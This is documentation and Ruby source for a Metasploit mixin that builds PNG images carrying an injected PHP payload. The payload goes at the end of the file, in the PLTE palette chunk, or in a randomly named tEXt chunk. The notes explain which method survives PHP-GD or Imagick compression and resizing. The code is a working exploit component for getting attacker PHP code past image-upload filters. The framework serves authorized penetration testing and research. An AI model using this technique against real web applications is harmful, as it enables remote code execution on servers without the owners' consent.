Module: Msf::Exploit::Format::PhpPayloadPng

Defined in:
lib/msf/core/exploit/format/php_payload_png.rb

Overview

This mixin module provides methods to inject persistent PHP payloads into a PNG file. It is based on the article of Quentin Roland from SynActiv. www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html The mixin depends on the GEM library ChunkyPNG that provides the basic PNG image processing functionality.

There are five methods of code injection described in the article: 1: Inject PHP payload into the PNG comment field 2: Inject PHP payload at the end of the PNG file, the so called raw insertion 3: Inject PHP payload in the PLTE chunk of the PNG file 4: Inject PHP payload in the IDAT chunk of the PNG file 5: Inject PHP payload in a random tEXT chunk of the PNG file

Method 1 and 2 will not survive any image compression configured and applied by a PHP web application Method 3 will survive image compression, but no image resizing configured and applied by a PHP web application Method 4 will survive all compression and resizing but payload is fixed and restricted. Method 5 will survive Imagick resizing

In the module below, we will offer only three (3) methods e.g, Raw, PLTE and tEXt for which we will combine method 1 and 5 TODO: IDAT chunk payload injection has most potential but is not flexible and is fixed for payloads that can be injected.

No processing   PHP-GD compression      PHP-GD resizing         Imagick resizing

Raw insertion ??? ??? ??? ??? PLTE chunk ??? ??? ??? ??? TODO: IDAT chunk ??? ??? ??? ??? tEXt chunk ??? ??? ??? ???

Instance Method Summary collapse

Instance Method Details

#inject_php_payload_png(payload, injection_method: 'PLTE') ⇒ String?

Returns PNG binary string if injection is successful, otherwise nil if there was an error.

Parameters:

  • payload (String)

    Payload to be inserted into the generated PNG.

  • injection_method (String) (defaults to: 'PLTE')

    A string accepting only standard values 'RAW', 'PLTE', or 'TEXT'. Defaults to 'PLTE'.

Returns:

  • (String, nil)

    PNG binary string if injection is successful, otherwise nil if there was an error.



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# File 'lib/msf/core/exploit/format/php_payload_png.rb', line 34

def inject_php_payload_png(payload, injection_method: 'PLTE')
  if payload.empty?
    print_error('PNG payload creation failed. No PHP payload provided.')
    return nil
  end

  # Execute provided injection method
  case injection_method
  when 'RAW'
    # Inject payload at the end of PNG (raw code injection)

    # Use an image size of 1 pixel by 1 pixel to
    # create the smallest possible PNG image.
    image_width = 1
    image_height = 1
    png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)

    # add payload at the end of PNG
    png_malicious = png.to_s + payload.to_s
    return png_malicious

  when 'PLTE'
    # Inject payload in the PLTE chunk, which holds 1 to 256 palette entries as noted
    # at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html. Each
    # entry will be a 3 byte long number of the form:
    #    Red:   1 byte (0 = black, 255 = red)
    #    Green: 1 byte (0 = black, 255 = green)
    #    Blue:  1 byte (0 = black, 255 = blue)

    # payload should have a length with modulo of 3 to fit the 3 bytes RGB palette.
    # Section 4.1.2 PLTE Palette of http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html
    # notes that PLTE chunks that are not divisible by 3 are considered a violation
    # of the PNG protocol.
    payload += ' ' while (payload.length % 3) != 0
    # check if payload is not bigger then 768 (3x256) bytes to fit in the PLTE chunk
    if payload.length > 768
      print_error("PNG payload creation failed. Padded payload size (#{payload.length}) is larger than 768 bytes.")
      return nil
    end

    # create base PNG with a right sized PLTE chunk to store the payload
    image_width = payload.length / 3
    image_height = payload.length / 3
    png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)

    # create palette entries (max. 256) to host the payload
    (0..((payload.length / 3) - 1)).each do |i|
      png[i, 1] = ChunkyPNG::Color.rgb(i, 1, 1)
    end

    # cycle thru the chunks, find the PLTE chunk and write the payload
    png_malicious = ChunkyPNG::Datastream.from_blob(png.to_blob)
    png_malicious.each_chunk do |chunk|
      if chunk.type == 'PLTE'
        chunk.content = payload.to_s
        break
      end
    end
    return png_malicious.to_s

  when 'TEXT'
    # Inject payload in a new tEXt chunk generated with a random keyword
    # tEXt chunks are used to store textual data that the recorder
    # wishes to record within the image as noted at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html
    # section 4.3.2.1 tEXt Textual data

    # Use an image size of 1 pixel by 1 pixel to
    # create the smallest possible PNG image.
    image_width = 1
    image_height = 1
    png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)
    # store payload in a tEXt chunk with a randomized keyword
    random_keyword = Rex::Text.rand_text_alpha(4..16)
    png.[random_keyword] = payload.to_s
    return png.to_s

  else
    print_error("PNG payload creation failed. No valid injection method #{injection_method} provided [RAW, PLTE, TEXT].")
    return nil
  end
end